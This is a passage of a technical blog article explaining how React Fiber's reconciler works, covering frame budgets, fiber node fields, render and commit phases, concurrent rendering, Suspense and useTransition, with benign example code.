&lt;p&gt;To understand what this means, think of the computer display as a flipbook and the pages of the flipbook as frames played at some rate when you flip them.&lt;/p&gt;
&lt;p&gt;Comparatively, a computer display is nothing but an automatic flipbook that plays continuously when things change on the screen.&lt;/p&gt;
&lt;p&gt;Typically, for a video to feel smooth and instantaneous to the human eye, the video must play at a rate of about 30 frames per second (FPS); anything higher gives a better experience.&lt;/p&gt;
&lt;p&gt;Most devices these days refresh their screens at 60 FPS, 1/60 = 16.67ms, which means a new frame displays every 16ms. This number is important because if the React renderer takes more than 16ms to render something on the screen, the browser drops that frame.&lt;/p&gt;
&lt;p&gt;In reality, however, the browser has housekeeping to do, so all your work must be completed within 10ms. When you fail to meet this budget, the frame rate drops, and the content judders on screen. This is often referred to as jank, and it negatively impacts the user’s experience.&lt;/p&gt;
&lt;p&gt;Of course, this is not a big concern for static and textual content. But in the case of displaying animations, this number is critical.&lt;/p&gt;
&lt;p&gt;If the React reconciliation algorithm traverses the entire app tree and re-renders it on every update, and that traversal takes longer than 16ms, the browser will drop frames.&lt;/p&gt;
&lt;p&gt;This is a big reason why many wanted updates categorized by priority and not blindly applying every update passed down to the reconciler. Also, many wanted the ability to pause and resume work in the next frame. This way, React could have better control over working with the 16ms rendering budget.&lt;/p&gt;
&lt;p&gt;This led the React team to rewrite the reconciliation algorithm, which is called Fiber. So, let’s look at how Fiber works to solve this problem.&lt;/p&gt;
&lt;h2 id=&quot;how-does-react-fiber-work&quot;&gt;How does React Fiber work under the hood?&lt;/h2&gt;
&lt;p&gt;Now that we know what motivated Fiber’s development, let’s summarize the features needed to achieve it. Again, I am referring to Andrew Clark’s notes for this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Assign priority to different types of work&lt;/li&gt;
&lt;li&gt;Pause work and come back to it later&lt;/li&gt;
&lt;li&gt;Abort work if it’s no longer needed&lt;/li&gt;
&lt;li&gt;Reuse previously completed work&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One of the challenges with implementing something like this is how the JavaScript engine works and the lack of threads in the language. To understand this, let’s briefly explore how the JavaScript engine handles execution contexts.&lt;/p&gt;
&lt;h3 id=&quot;how-does-the-javascript-execution-stack-limit-rendering&quot;&gt;How does the JavaScript execution stack limit rendering?&lt;/h3&gt;
&lt;p&gt;JavaScript normally executes synchronous functions until the call stack is empty. React’s old recursive reconciler relied on this stack, so it could not pause rendering to handle more urgent browser work.&lt;/p&gt;
&lt;p&gt;Whenever you write a function in JavaScript, the JavaScript engine creates a function execution context. Each time the JavaScript engine starts, it creates a global execution context that holds the global objects; for example, the &lt;code&gt;window&lt;/code&gt; object in the browser and the &lt;code&gt;global&lt;/code&gt; object in Node.js.&lt;/p&gt;
&lt;p&gt;JavaScript handles both contexts using a stack data structure also known as the execution stack. So, when you write something like this, the JavaScript engine first creates a global execution context and pushes it into the execution stack:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;function a() {
  console.log(&quot;i am a&quot;)
  b()
}

function b() {
  console.log(&quot;i am b&quot;)
}

a()&lt;/pre&gt;
&lt;p&gt;Then, it creates a function execution context for the &lt;code&gt;a()&lt;/code&gt; function. Since &lt;code&gt;b()&lt;/code&gt; is called inside &lt;code&gt;a()&lt;/code&gt;, it creates another function execution context for &lt;code&gt;b()&lt;/code&gt; and pushes it into the stack.&lt;/p&gt;
&lt;p&gt;When the &lt;code&gt;b()&lt;/code&gt; function returns, the engine destroys the context of &lt;code&gt;b()&lt;/code&gt;. When we exit the &lt;code&gt;a()&lt;/code&gt; function, the &lt;code&gt;a()&lt;/code&gt; context is destroyed. The stack during execution looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2019/11/execution-stack.png&quot; alt=&quot;Execution Stack Diagram&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;But, what happens when the browser makes an asynchronous event like an &lt;a href=&quot;https://blog.logrocket.com/axios-javascript/&quot;&gt;HTTP request&lt;/a&gt;? Does the JavaScript engine stack the execution stack and handle the asynchronous event, or does it wait until the event completes?&lt;/p&gt;
&lt;p&gt;The JavaScript engine does something different here: on top of the execution stack, the JavaScript engine has a queue data structure, also known as the event queue. The event queue handles asynchronous calls like HTTP or network events coming into the browser.&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2019/11/event-queue-diagram.png&quot; alt=&quot;Event Queue Diagram&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;The JavaScript engine handles the items in the queue by waiting for the execution stack to empty. So, each time the execution stack empties, the JavaScript engine checks the event queue, pops items off the queue, and handles the event.&lt;/p&gt;
&lt;p&gt;It is important to note that the JavaScript engine checks the event queue only when the execution stack is empty or the only item in the execution stack is the global execution context.&lt;/p&gt;
&lt;p&gt;Although we call them asynchronous events, there is a subtle distinction here: the events are asynchronous with respect to when they arrive in the queue, but they’re not really asynchronous with respect to when they are actually handled.&lt;/p&gt;
&lt;p&gt;Coming back to our stack reconciler, when React traverses the tree, it does so in the execution stack. So, when the updates arrive, they arrive in the event queue (sort of). And only when the execution stack empties&amp;nbsp;are the updates handled.&lt;/p&gt;
&lt;p&gt;This is precisely the problem Fiber solves by almost reimplementing the stack with intelligent capabilities—pausing, resuming, and aborting, for example.&lt;/p&gt;
&lt;p&gt;Again referencing Andrew Clark, “Fiber is a reimplementation of the stack, specialized for React components. You can think of a single fiber as a virtual stack frame.&lt;/p&gt;
&lt;p&gt;“The advantage of reimplementing the stack is that you can keep stack frames in memory and execute them however and whenever you want. This is crucial for accomplishing the goals we have for scheduling.&lt;/p&gt;
&lt;p&gt;“Aside from scheduling, manually dealing with stack frames unlocks the potential for features such as concurrency and error boundaries.” We will cover these topics in future sections.&lt;/p&gt;
&lt;p&gt;In simple terms, a fiber represents a unit of work with its own virtual stack. In the previous implementation of the reconciliation algorithm, React created a tree of objects (React elements) that are immutable and traversed the tree recursively.&lt;/p&gt;
&lt;p&gt;In the current implementation, React creates a tree of fiber nodes that can mutate. The fiber node effectively holds the component’s state, props, and underlying DOM element it renders to.&lt;/p&gt;
&lt;p&gt;And, since fiber nodes can mutate, React doesn’t need to recreate every node for updates; it can simply clone and update the node when there is an update.&lt;/p&gt;
&lt;p&gt;In the case of a fiber tree, React doesn’t perform recursive traversal. Instead, it creates a singly-linked list and performs a parent-first, depth-first traversal.&lt;/p&gt;
&lt;h3 id=&quot;singly-linked-list-of-fiber-nodes&quot;&gt;What is a singly-linked list of fiber nodes?&lt;/h3&gt;
&lt;p&gt;A fiber node represents a stack frame and an instance of a React component. A fiber node comprises the following members:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Type&lt;/li&gt;
&lt;li&gt;Key&lt;/li&gt;
&lt;li&gt;Child&lt;/li&gt;
&lt;li&gt;Sibling&lt;/li&gt;
&lt;li&gt;Return&lt;/li&gt;
&lt;li&gt;Alternate&lt;/li&gt;
&lt;li&gt;Output&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;type&quot;&gt;Type&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;, for example, host components (strings), classes, or functions for composite components.&lt;/p&gt;
&lt;h3 id=&quot;key&quot;&gt;Key&lt;/h3&gt;
&lt;p&gt;The key is the same as the key we pass to the React element.&lt;/p&gt;
&lt;h3 id=&quot;child&quot;&gt;Child&lt;/h3&gt;
&lt;p&gt;Represents the element returned when we call &lt;code&gt;render()&lt;/code&gt; on the component:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;const Name = (props) =&amp;gt; {
  return(
    &amp;lt;div className=&quot;name&quot;&amp;gt;
      {props.name}
    &amp;lt;/div&amp;gt;
  )
}&lt;/pre&gt;
&lt;p&gt;The child of &lt;code&gt;&amp;lt;Name&amp;gt;&lt;/code&gt; is &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; because it returns a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; element.&lt;/p&gt;
&lt;h3 id=&quot;sibling&quot;&gt;Sibling&lt;/h3&gt;
&lt;p&gt;Represents a case where &lt;code&gt;render&lt;/code&gt; returns a list of elements:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;const Name = (props) =&amp;gt; {
  return([&amp;lt;Customdiv1 /&amp;gt;, &amp;lt;Customdiv2 /&amp;gt;])
}&lt;/pre&gt;
&lt;p&gt;In the above case, &lt;code&gt;&amp;lt;Customdiv1&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;Customdiv2&amp;gt;&lt;/code&gt; are the children of &lt;code&gt;&amp;lt;Name&amp;gt;&lt;/code&gt;, which is the parent. The two children form a singly-linked list.&lt;/p&gt;
&lt;h3 id=&quot;return&quot;&gt;Return&lt;/h3&gt;
&lt;p&gt;Return is the return back to the stack frame, which is a logical return back to the parent fiber node, and thus, represents the parent.&lt;/p&gt;
&lt;h3 id=&quot;pendingprops-and-memoizedprops&quot;&gt;&lt;code&gt;pendingProps&lt;/code&gt; and &lt;code&gt;memoizedProps&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Memoization means storing the values of a function execution’s result so you can use it later, thereby avoiding recomputation. &lt;code&gt;pendingProps&lt;/code&gt; represents the props passed to the component, and &lt;code&gt;memoizedProps&lt;/code&gt; initializes at the end of the execution stack, storing the props of this node. When the incoming &lt;code&gt;pendingProps&lt;/code&gt; are equal to &lt;code&gt;memoizedProps&lt;/code&gt;, it signals that the fiber’s previous output can be reused, preventing unnecessary work.&lt;/p&gt;
&lt;h3 id=&quot;pendingworkpriority&quot;&gt;&lt;code&gt;pendingWorkPriority&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;pendingWorkPriority&lt;/code&gt; is a number indicating the priority of the work represented by the fiber. The &lt;code&gt;ReactPriorityLevel&lt;/code&gt; module lists the different priority levels and what they represent. With the exception of &lt;code&gt;NoWork&lt;/code&gt;, which is zero, a larger number indicates a lower priority.&lt;/p&gt;
&lt;p&gt;For example, you could use the following function to check if a fiber’s priority is at least as high as the given level. The scheduler uses the priority field to search for the next unit of work to perform:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;function matchesPriority(fiber, priority) {
  return fiber.pendingWorkPriority !== 0 &amp;amp;&amp;amp;
         fiber.pendingWorkPriority &amp;lt;= priority
}&lt;/pre&gt;
&lt;h3 id=&quot;alternate&quot;&gt;Alternate&lt;/h3&gt;
&lt;p&gt;At any time, a component instance has at most two fibers that correspond to it: the current fiber and the in-progress fiber. The alternate of the current fiber is the fiber in progress, and the alternate of the fiber in progress is the current fiber. The current fiber represents what is rendered already, and the in-progress fiber is conceptually the stack frame that has not returned.&lt;/p&gt;
&lt;h3 id=&quot;output&quot;&gt;Output&lt;/h3&gt;
&lt;p&gt;The output is the leaf nodes of a React application. They are specific to the rendering environment (for example, in a browser app, they are &lt;code&gt;div&lt;/code&gt; and &lt;code&gt;span&lt;/code&gt;). In JSX, they are denoted using lowercase tag names.&lt;/p&gt;
&lt;p&gt;Conceptually, the output of a fiber is the return value of a function. Every fiber eventually has an output, but the output is created only at the leaf nodes by host components. The output is then transferred up the tree.&lt;/p&gt;
&lt;p&gt;The output is eventually given to the renderer so that it can flush the changes to the rendering environment. For example, let’s look at how the fiber tree looks for an app with the following code:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;const Parent1 = (props) =&amp;gt; {
  return([&amp;lt;Child11 /&amp;gt;, &amp;lt;Child12 /&amp;gt;])
}

const Parent2 = (props) =&amp;gt; {
  return(&amp;lt;Child21 /&amp;gt;)
}

class App extends Component {
  constructor(props) {
    super(props)
  }
  render() {
    &amp;lt;div&amp;gt;
      &amp;lt;Parent1 /&amp;gt;
      &amp;lt;Parent2 /&amp;gt;
    &amp;lt;/div&amp;gt;
  }
}

ReactDOM.render(&amp;lt;App /&amp;gt;, document.getElementById(&#39;root&#39;))&lt;/pre&gt;
&lt;p&gt;We can see that the fiber tree is composed of singly-linked lists of child nodes linked to each other (sibling relationship) and a linked list of parent-to-child relationships. This tree can be traversed using a &lt;a href=&quot;https://en.wikipedia.org/wiki/Depth-first_search&quot;&gt;depth-first search&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2019/11/fiber-tree-diagram.png&quot; alt=&quot;Fiber Tree Diagram&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;render-phase&quot;&gt;What happens during React Fiber’s render phase?&lt;/h3&gt;
&lt;p&gt;During the render phase, React builds or updates the work-in-progress fiber tree and determines which changes may need to be committed.&lt;/p&gt;
&lt;p&gt;To understand how React builds this tree and performs the reconciliation algorithm on it, let’s look at a unit test in the React source code with an attached debugger to follow the process; you can clone the React source code and navigate to this &lt;a href=&quot;https://github.com/react/react/tree/769b1f270e1251d9dbdce0fcbd9e92e502d059b8/packages/react-dom/src/__tests__&quot;&gt;directory&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To begin, add a Jest test and attach a debugger. This is a simple test for rendering a button with text. When you click the button, the app destroys the button and renders a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; with different text, so the text is a state variable here:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;&#39;use strict&#39;;

let React;
let ReactDOM;

describe(&#39;ReactUnderstanding&#39;, () =&amp;gt; {
  beforeEach(() =&amp;gt; {
    React = require(&#39;react&#39;);
    ReactDOM = require(&#39;react-dom&#39;);
  });

  it(&#39;works&#39;, () =&amp;gt; {
    let instance;

    class App extends React.Component {
      constructor(props) {
        super(props)
        this.state = {
          text: &quot;hello&quot;
        }
      }

      handleClick = () =&amp;gt; {
        this.props.logger(&#39;before-setState&#39;, this.state.text);
        this.setState({ text: &quot;hi&quot; })
        this.props.logger(&#39;after-setState&#39;, this.state.text);
      }

      render() {
        instance = this;
        this.props.logger(&#39;render&#39;, this.state.text);
        if(this.state.text === &quot;hello&quot;) {
        return (
          &amp;lt;div&amp;gt;
            &amp;lt;div&amp;gt;
              &amp;lt;button onClick={this.handleClick.bind(this)}&amp;gt;
                {this.state.text}
              &amp;lt;/button&amp;gt;
            &amp;lt;/div&amp;gt;
          &amp;lt;/div&amp;gt;
        )} else {
          return (
            &amp;lt;div&amp;gt;
              hello
            &amp;lt;/div&amp;gt;
          )
        }
      }
    }
    const container = document.createElement(&#39;div&#39;);
    const logger = jest.fn();
    ReactDOM.render(&amp;lt;App logger={logger}/&amp;gt;, container);
    console.log(&quot;clicking&quot;);
    instance.handleClick();
    console.log(&quot;clicked&quot;);

    expect(container.innerHTML).toBe(
      &#39;&amp;lt;div&amp;gt;hello&amp;lt;/div&amp;gt;&#39;
    )

    expect(logger.mock.calls).toEqual(
      [[&quot;render&quot;, &quot;hello&quot;],
      [&quot;before-setState&quot;, &quot;hello&quot;],
      [&quot;render&quot;, &quot;hi&quot;],
      [&quot;after-setState&quot;, &quot;hi&quot;]]
    );
  })

});&lt;/pre&gt;
&lt;p&gt;In the initial render, React creates a current tree that renders initially. &lt;code&gt;createFiberFromTypesAndProps()&lt;/code&gt; is the function that creates each React fiber using the data from the specific React element. When we run the test, put a breakpoint at this function, and look at the call stack:&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2019/11/function-call-stack-1.png&quot; alt=&quot;createFiberFromTypeAndProps() Call Stack&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;As we can see, the call stack tracks back to a &lt;code&gt;render()&lt;/code&gt; call, which eventually goes down to &lt;code&gt;createFiberFromTypeAndProps()&lt;/code&gt;. There are a few other functions that are of interest here: &lt;code&gt;workLoopSync()&lt;/code&gt;, &lt;code&gt;performUnitOfWork()&lt;/code&gt;, and &lt;code&gt;beginWork()&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;workloopsync&quot;&gt;&lt;code&gt;workLoopSync()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;workLoopSync()&lt;/code&gt; is when React starts building up the tree, starting with the &lt;code&gt;&amp;lt;App&amp;gt;&lt;/code&gt; node and recursively moving on to &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;, and &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt;, which are the children of &lt;code&gt;&amp;lt;App&amp;gt;&lt;/code&gt;. The &lt;code&gt;workInProgress&lt;/code&gt; function holds a reference to the next fiber node that has work to do.&lt;/p&gt;
&lt;h3 id=&quot;performunitofwork&quot;&gt;&lt;code&gt;performUnitOfWork()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;performUnitOfWork()&lt;/code&gt; takes a fiber node as an input argument, gets the alternate of the node, and calls &lt;code&gt;beginWork()&lt;/code&gt;. This is the equivalent of starting the execution of the function execution contexts in the execution stack.&lt;/p&gt;
&lt;h3 id=&quot;beginwork&quot;&gt;&lt;code&gt;beginWork()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;When React builds the tree, &lt;code&gt;beginWork()&lt;/code&gt; simply leads up to &lt;code&gt;createFiberFromTypeAndProps()&lt;/code&gt; and creates the fiber nodes. React recursively performs work and eventually &lt;code&gt;performUnitOfWork()&lt;/code&gt; returns a null, indicating that it has reached the end of the tree.&lt;/p&gt;
&lt;h3 id=&quot;using-instancehandleclick&quot;&gt;Using &lt;code&gt;instance.handleClick()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Now, what happens when we perform &lt;code&gt;instance.handleClick()&lt;/code&gt;, which clicks the button and triggers a state update? In this case, React traverses the fiber tree, clones each node, and checks whether it needs to perform any work on each node.&lt;/p&gt;
&lt;p&gt;When we look at the call stack of this scenario, it looks something like this:&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2019/11/function-call-stack-2.png&quot; alt=&quot;instance.handleClick() Call Stack&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;Although we did not see &lt;code&gt;completeUnitOfWork()&lt;/code&gt; and &lt;code&gt;completeWork()&lt;/code&gt; in the first call stack, we can see them here. Just like &lt;code&gt;performUnitOfWork()&lt;/code&gt; and &lt;code&gt;beginWork()&lt;/code&gt;, these two functions perform the completion part of the current execution, which means returning back to the stack.&lt;/p&gt;
&lt;p&gt;As we can see, together these four functions execute the unit of work and give control over the work being done currently, which is exactly what was missing in the stack reconciler.&lt;/p&gt;
&lt;p&gt;The image below shows that each fiber node is composed of four phases required to complete that unit of work.&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2019/11/fiber-node-diagram.png&quot; alt=&quot;Fiber Node Diagram&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;It’s important to note here that each node doesn’t move to &lt;code&gt;completeUnitOfWork()&lt;/code&gt; until its children and siblings return &lt;code&gt;completeWork()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For instance, it starts with &lt;code&gt;performUnitOfWork()&lt;/code&gt; and &lt;code&gt;beginWork()&lt;/code&gt; for &lt;code&gt;&amp;lt;App/&amp;gt;&lt;/code&gt;, then moves on to &lt;code&gt;performUnitOfWork()&lt;/code&gt; and &lt;code&gt;beginWork()&lt;/code&gt; for &lt;code&gt;Parent1&lt;/code&gt;, and so on. It comes back and completes the work on &lt;code&gt;&amp;lt;App&amp;gt;&lt;/code&gt; once all the children of &lt;code&gt;&amp;lt;App/&amp;gt;&lt;/code&gt; complete the work.&lt;/p&gt;
&lt;p&gt;This is when React completes its render phase. The tree that’s newly built based on the &lt;code&gt;click()&lt;/code&gt; update is called the &lt;code&gt;workInProgress&lt;/code&gt; tree. This is basically the draft tree waiting to be rendered.&lt;/p&gt;
&lt;h3 id=&quot;render-phase&quot;&gt;What happens during React Fiber’s commit phase?&lt;/h3&gt;
&lt;p&gt;Once the render phase completes, React moves on to the commit phase, where it basically swaps the root pointers of the current tree and &lt;code&gt;workInProgress&lt;/code&gt; tree, thereby effectively swapping the current tree with the draft tree it built up based on the &lt;code&gt;click()&lt;/code&gt; update.&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2019/11/commit-phase-diagram.png&quot; alt=&quot;Commit Phase Diagram&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;Not just that, React also reuses the old current tree after swapping the pointer from root to the &lt;code&gt;workInProgress&lt;/code&gt; tree. The net effect of this optimized process is a smooth transition from the previous state of the app to the next state and the next state, and so on.&lt;/p&gt;
&lt;p&gt;And what about the 16ms frame time? React effectively runs an internal timer for each unit of work being performed and constantly monitors this time limit while performing the work.&lt;/p&gt;
&lt;p&gt;The moment the time runs out, React pauses the current unit of work, hands the control back to the main thread, and lets the browser render whatever is finished at that point.&lt;/p&gt;
&lt;p&gt;Then, in the next frame, React picks up where it left off and continues building the tree. Then, when it has enough time, it commits the &lt;code&gt;workInProgress&lt;/code&gt; tree and completes the render.&lt;/p&gt;
&lt;h2 id=&quot;overview-of-changes-and-improvements-since-react-v16&quot;&gt;What key features were added to React Fiber since v16?&lt;/h2&gt;
&lt;p&gt;Fiber changed React from a synchronous tree traversal into a schedulable rendering system. Modern React builds on that foundation by allowing work to be prioritized, interrupted, streamed, moved between server and client environments, and optimized at build time.&lt;/p&gt;
&lt;p&gt;Here are the key improvements and changes to fiber since React v16:&lt;/p&gt;
&lt;h3 id=&quot;concurrent-rendering&quot;&gt;What is concurrent rendering?&lt;/h3&gt;
&lt;p&gt;The most significant update to React Fiber since its inception is concurrent rendering. It is a foundational enhancement to React’s rendering model that builds on the capabilities of React Fiber to provide interruptible rendering.&lt;/p&gt;
&lt;p&gt;Concurrent rendering lets React prepare certain updates in the background and interrupt them when more urgent work arrives. In other words, React can begin rendering one update, interrupt it to handle a more urgent update, and then later restart or abandon the earlier render.&lt;/p&gt;
&lt;p&gt;This is a stark contrast to the traditional synchronous rendering model, where React must complete each render in a single, uninterrupted transaction before responding to other work.&lt;/p&gt;
&lt;p&gt;Although concurrency was part of the original vision for Fiber, React 18 and React 19 made its capabilities broadly available through APIs such as transitions, Suspense, &lt;code&gt;useDeferredValue&lt;/code&gt;, and Activity, along with the new root API.&lt;/p&gt;
&lt;h3 id=&quot;suspense&quot;&gt;How does suspense work with selective hydration in React?&lt;/h3&gt;
&lt;p&gt;Suspense is a feature that is closely tied to concurrent mode and was initially introduced with React Fiber in v16, but its capabilities were greatly expanded with updates in React 17 and 18.&lt;/p&gt;
&lt;p&gt;The feature has undergone significant improvements since its initial release. It was originally designed to manage lazy loading (code splitting) of components using &lt;code&gt;React.lazy&lt;/code&gt;, but its functionality has expanded, especially with the introduction of concurrent rendering in v18.&lt;/p&gt;
&lt;p&gt;Now, Suspense plays a key role in handling asynchronous operations like data fetching and offers more granular control over UI rendering during these operations. You can declaratively specify what React should show when a part of the tree is not yet ready to render.&lt;/p&gt;
&lt;p&gt;This is done using a &lt;code&gt;fallback&lt;/code&gt; option, which renders a component or string while the asynchronous task is in operation:&lt;/p&gt;
&lt;pre class=&quot;language-jsx hljs&quot;&gt;&amp;lt;Suspense fallback={&amp;lt;div&amp;gt;Loading data...&amp;lt;/div&amp;gt;}&amp;gt;
  &amp;lt;SomeComponent /&amp;gt;
&amp;lt;/Suspense&amp;gt;&lt;/pre&gt;
&lt;p&gt;Another key improvement is streaming in server-side rendering (SSR) and selective hydration. Instead of waiting for the server to finish rendering the full page before sending its HTML to the browser, Suspense boundaries allow React to divide the page into independent sections. The server can send an initial HTML shell first and stream the remaining content as it becomes ready.&lt;/p&gt;
&lt;p&gt;With selective hydration, Suspense boundaries divide the tree into smaller hydration units. React then hydrates these sections independently, allowing some controls to become interactive while other sections are still waiting for code or data.&lt;/p&gt;
&lt;p&gt;Suspense continues to evolve in React 19, particularly in how it schedules sibling work. When a component suspends, React can commit the nearest fallback sooner and then schedule another render to pre-warm lazy resources in the remaining sibling tree. This allows the fallback to appear sooner without preventing other resources from beginning to load.&lt;/p&gt;
&lt;p&gt;The Suspense API is nuanced. If you’d like to learn more about it, check out our &lt;a href=&quot;https://blog.logrocket.com/react-suspense-data-fetching/&quot;&gt;comprehensive article&lt;/a&gt; on Suspense.&lt;/p&gt;
&lt;h3 id=&quot;transitions&quot;&gt;What are transitions?&lt;/h3&gt;
&lt;p&gt;Transitions are one of the main APIs for using concurrent rendering. They let you distinguish between urgent and non-urgent state updates.&lt;/p&gt;
&lt;p&gt;Urgent updates include tasks like user inputs or animations where immediate feedback is expected. Non-urgent updates, like rendering a list of search results, are low priority, and slight delays are acceptable.&lt;/p&gt;
&lt;p&gt;The transitions API comprises a &lt;code&gt;useTransition&lt;/code&gt; hook which allows you to mark state updates as not urgent, as every state update not marked is considered urgent by default.&lt;/p&gt;
&lt;h3 id=&quot;usetransition&quot;&gt;How do you use &lt;code&gt;useTransition&lt;/code&gt;?&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;useTransition&lt;/code&gt; hook handles transitions between UI states in a non-blocking manner. It returns an array with two values:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;isPending&lt;/code&gt; — A boolean indicating if the transition is in progress&lt;/li&gt;
&lt;li&gt;&lt;code&gt;startTransition&lt;/code&gt; — A function to start the transition&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For example, consider a page with tabs where one tab takes a long time to render:&lt;/p&gt;
&lt;pre class=&quot;language-jsx hljs&quot;&gt;import { useState, useTransition } from &quot;react&quot;;
import About from &quot;./About&quot;;
import Posts from &quot;./Posts&quot;;

export default function TabContainer() {
  const [activeTab, setActiveTab] = useState(&quot;about&quot;);
  const [isPending, startTransition] = useTransition();

  function selectTab(nextTab) {
    startTransition(() =&amp;gt; {
      setActiveTab(nextTab);
    });
  }
  return (
    &amp;lt;&amp;gt;
      &amp;lt;button onClick={() =&amp;gt; selectTab(&quot;about&quot;)}&amp;gt; About &amp;lt;/button&amp;gt;
      &amp;lt;button onClick={() =&amp;gt; selectTab(&quot;posts&quot;)}&amp;gt; Posts &amp;lt;/button&amp;gt;
      {isPending &amp;amp;&amp;amp; &amp;lt;p&amp;gt;Loading tab...&amp;lt;/p&amp;gt;}
      {activeTab === &quot;about&quot; ? &amp;lt;About /&amp;gt; : &amp;lt;Posts /&amp;gt;}
    &amp;lt;/&amp;gt;
  );
}&lt;/pre&gt;
&lt;p&gt;The state update inside &lt;code&gt;startTransition&lt;/code&gt; is treated as non-urgent. If the user clicks another button while React is rendering the &lt;code&gt;Posts&lt;/code&gt; tab, React can interrupt the first render and handle the new interaction.&lt;/p&gt;
&lt;p&gt;Transitions do not delay the function passed to &lt;code&gt;startTransition&lt;/code&gt;. React calls that function immediately. Only the state updates scheduled while it runs are marked as transitions.&lt;/p&gt;
&lt;p&gt;This means that wrapping an expensive JavaScript calculation in &lt;code&gt;startTransition&lt;/code&gt; does not move the calculation into the background:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;startTransition(() =&amp;gt; {
  // This calculation still runs immediately
  const filteredItems = items.filter(expensiveFilter);
  setFilteredItems(filteredItems);
});&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;filter()&lt;/code&gt; call still blocks the main thread until it returns. &lt;code&gt;startTransition&lt;/code&gt; only changes the priority of the React state update.&lt;/p&gt;
&lt;h3 id=&quot;asynchronous-transitions-and-actions&quot;&gt;What are asynchronous transitions and actions in React 19?&lt;/h3&gt;
&lt;p&gt;In React 19, functions passed to &lt;code&gt;startTransition&lt;/code&gt; are called an Action. An Action can perform asynchronous work, such as a request, while &lt;code&gt;isPending&lt;/code&gt; represents the pending interaction.&lt;/p&gt;&lt;hr&gt;
&lt;iframe id=&quot;podrocket-plug&quot; src=&quot;https://open.spotify.com/embed/playlist/4j70ZVQNj5Lk3gtyCG5VWk?utm_source=generator&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; allow=&quot;autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture&quot; loading=&quot;lazy&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;/iframe&gt;
&lt;hr&gt;
&lt;style&gt;
#podrocket-plug {
  border-radius: 12px;
  width: 75%;
  height: 352px;
  margin: 1rem auto;
  display: block;
}

&lt;/style&gt;
&lt;pre class=&quot;language-jsx hljs&quot;&gt;function SettingsForm() {
  const [settings, setSettings] = useState(initialSettings);
  const [isPending, startTransition] = useTransition();
  function saveSettings(nextSettings) {
    startTransition(async () =&amp;gt; {
      const savedSettings = await updateSettings(nextSettings);
      startTransition(() =&amp;gt; {
        setSettings(savedSettings);
      });
    });
  }
  return (
    &amp;lt;button
      disabled={isPending}
      onClick={() =&amp;gt; saveSettings({ theme: &quot;dark&quot; })}
    &amp;gt;
      {&quot; &quot;}
      {isPending ? &quot;Saving...&quot; : &quot;Save settings&quot;}{&quot; &quot;}
    &amp;lt;/button&amp;gt;
  );
}&lt;/pre&gt;
